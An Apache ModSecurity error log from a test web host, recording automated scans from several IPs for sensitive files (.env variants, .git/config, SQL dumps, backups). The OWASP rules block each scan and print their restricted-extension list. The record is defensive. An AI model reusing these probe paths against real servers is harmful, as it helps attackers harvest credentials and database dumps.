[Mon Jun 30 14:12:20.629587 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8AAAAAM&quot;]
[Mon Jun 30 14:12:20.629783 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8AAAAAM&quot;]
[Mon Jun 30 14:12:20.674848 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8gAAAAM&quot;]
[Mon Jun 30 14:12:20.675196 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8gAAAAM&quot;]
[Mon Jun 30 14:12:20.675391 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.backup&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8gAAAAM&quot;]
[Mon Jun 30 14:12:20.697467 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8wAAAAM&quot;]
[Mon Jun 30 14:12:20.697820 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8wAAAAM&quot;]
[Mon Jun 30 14:12:20.698010 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V8wAAAAM&quot;]
[Mon Jun 30 14:12:20.719969 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V9AAAAAM&quot;]
[Mon Jun 30 14:12:20.720327 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V9AAAAAM&quot;]
[Mon Jun 30 14:12:20.720541 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V9AAAAAM&quot;]
[Mon Jun 30 14:12:20.742564 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V9QAAAAM&quot;]
[Mon Jun 30 14:12:20.742917 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V9QAAAAM&quot;]
[Mon Jun 30 14:12:20.743122 2025] [:error] [pid 3739296] [client 185.177.72.10:34450] [client 185.177.72.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGJ_JPUyWlUzqRIbk96V9QAAAAM&quot;]
[Mon Jun 30 20:20:06.894331 2025] [:error] [pid 3624148] [client 198.55.98.210:38280] [client 198.55.98.210] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGLVVptDtSe7viRvdJRr3gAAAAk&quot;]
[Mon Jun 30 20:20:06.894614 2025] [:error] [pid 3624148] [client 198.55.98.210:38280] [client 198.55.98.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGLVVptDtSe7viRvdJRr3gAAAAk&quot;]
[Mon Jun 30 20:20:06.894791 2025] [:error] [pid 3624148] [client 198.55.98.210:38280] [client 198.55.98.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGLVVptDtSe7viRvdJRr3gAAAAk&quot;]
[Tue Jul 01 03:01:26.588142 2025] [:error] [pid 4183423] [client 185.177.72.201:13508] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGMzZlOjHnrlwCr9vzYVowAAAAU&quot;]
[Tue Jul 01 03:01:26.588466 2025] [:error] [pid 4183423] [client 185.177.72.201:13508] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGMzZlOjHnrlwCr9vzYVowAAAAU&quot;]
[Tue Jul 01 03:01:26.588673 2025] [:error] [pid 4183423] [client 185.177.72.201:13508] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGMzZlOjHnrlwCr9vzYVowAAAAU&quot;]
[Tue Jul 01 06:30:20.515455 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsKwAAAAY&quot;]
[Tue Jul 01 06:30:20.515721 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsKwAAAAY&quot;]
[Tue Jul 01 06:30:20.515905 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsKwAAAAY&quot;]
[Tue Jul 01 06:30:20.537587 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLAAAAAY&quot;]
[Tue Jul 01 06:30:20.537823 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLAAAAAY&quot;]
[Tue Jul 01 06:30:20.537990 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLAAAAAY&quot;]
[Tue Jul 01 06:30:20.558089 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLQAAAAY&quot;]
[Tue Jul 01 06:30:20.558322 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLQAAAAY&quot;]
[Tue Jul 01 06:30:20.558509 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLQAAAAY&quot;]
[Tue Jul 01 06:30:20.579022 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLgAAAAY&quot;]
[Tue Jul 01 06:30:20.579307 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aGNkXPZHrFQ9LfBs7ULsLgAAAAY&quot;]
